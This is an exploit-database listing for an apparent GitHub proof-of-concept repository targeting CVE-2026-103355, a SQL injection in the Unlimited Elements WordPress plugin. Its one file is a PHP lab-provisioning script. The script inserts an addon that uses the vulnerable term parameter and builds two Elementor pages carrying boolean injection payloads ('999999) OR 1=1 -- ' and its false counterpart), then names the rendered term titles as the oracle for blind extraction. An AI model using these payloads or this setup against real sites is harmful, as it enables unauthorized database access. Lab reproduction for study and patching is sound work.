Exploit database

GH-1e21e5489e944f16c06374b7f6def75a

hassham1/cve-2026-103355-unlimited-elements-sqli-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-103355

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

provision/install.php

PHP · 4,372 bytes
<?php
/**
 * CVE-2026-103355 lab provisioning. Run with:
 *   wp eval-file /provision/install.php <page_id>
 *
 * Creates a minimal UE listing addon exposing the uc_post_terms param (the
 * param type whose processing concatenates the "direct children of selected
 * terms" identifiers raw into terms_clauses), a category tree, and two
 * Elementor pages embedding the widget with the vulnerable include mode:
 *   - page TRUE : payload "999999) OR 1=1 -- "  (every category matches)
 *   - page FALSE: payload "999999) OR 1=2 -- "  (no category matches)
 * The rendered term titles are the boolean oracle.
 */

if ( empty( $args[0] ) ) {
    WP_CLI::error( 'usage: wp eval-file install.php <page_id>' );
}
$page_true = (int) $args[0];

// --- taxonomy content ----------------------------------------------------
$parent = wp_insert_term( 'LabParent', 'category' );
$parent_id = is_wp_error( $parent ) ? ( get_term_by( 'slug', 'labparent', 'category' )->term_id ?? 1 ) : $parent['term_id'];

wp_insert_post( array( 'post_title' => 'Lab Post Parent', 'post_status' => 'publish', 'post_category' => array( $parent_id ) ) );

for ( $i = 1; $i <= 3; $i++ ) {
    $child = wp_insert_term( "LabChild$i", 'category', array( 'parent' => $parent_id ) );
    if ( ! is_wp_error( $child ) ) {
        wp_insert_post( array( 'post_title' => "Lab Post $i", 'post_status' => 'publish', 'post_category' => array( $child['term_id'] ) ) );
    }
}
WP_CLI::log( "parent term: $parent_id" );

// --- minimal UE addon with the vulnerable param type ---------------------
global $wpdb;

$addon_alias = 'lab_terms_widget';

$config = json_encode( array(
    'params' => array(
        array(
            'type'  => 'uc_post_terms',
            'name'  => 'list',
            'title' => 'List',
            'value' => '',
        ),
    ),
) );

$templates = json_encode( array(
    'html' => '<div class="ue-lab-terms">{% for slug, t in list %}[{{ t.name }}] {% endfor %}</div>',
) );

$exists = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}addonlibrary_addons WHERE alias=%s", $addon_alias ) );
if ( $exists ) {
    $wpdb->update(
        "{$wpdb->prefix}addonlibrary_addons",
        array(
            'templates' => $templates,
            'config'    => $config,
            'is_active' => 1,
        ),
        array( 'alias' => $addon_alias )
    );
    WP_CLI::log( 'addon updated' );
} else {
    $wpdb->insert(
        "{$wpdb->prefix}addonlibrary_addons",
        array(
            'title'     => 'Lab Terms Widget',
            'name'      => $addon_alias,
            'alias'     => $addon_alias,
            'addontype' => 'elementor',
            'ordering'  => 1,
            'templates' => $templates,
            'config'    => $config,
            'is_active' => 1,
        )
    );
}

// --- two Elementor pages with TRUE / FALSE payloads -----------------------
function lab_make_page( $title, $payload ) {
    $pid = wp_insert_post( array( 'post_title' => $title, 'post_status' => 'publish', 'post_type' => 'page' ) );

    $settings = array(
        'list_source'                                    => 'terms',
        'list_includeby'                                 => array( 'direct_children_of_selected_terms' ),
        'list_include_direct_children_of_selected_terms' => array( $payload ),
        'list_taxonomy'                                  => 'category',
        'list_posttype'                                  => array( 'post' ),
    );

    $elements = array(
        array(
            'id'         => 'labgrid1',
            'elType'     => 'widget',
            'widgetType' => 'ucaddon_lab_terms_widget',
            'settings'   => $settings,
            'elements'   => array(),
        ),
    );

    update_post_meta( $pid, '_elementor_data', wp_slash( wp_json_encode( $elements ) ) );
    update_post_meta( $pid, '_wp_page_template', 'elementor_header_footer' );
    update_post_meta( $pid, '_elementor_edit_mode', 'builder' );
    update_post_meta( $pid, '_elementor_template_type', 'wp-page' );
    update_post_meta( $pid, '_elementor_version', '4.3.3' );

    return $pid;
}

$page_true  = lab_make_page( 'UE Lab TRUE', "999999) OR 1=1 -- " );
$page_false = lab_make_page( 'UE Lab FALSE', '999999) OR 1=2 -- ' );

wp_delete_post( $args[0], true );

WP_CLI::success( "TRUE=$page_true FALSE=$page_false parent=$parent_id" );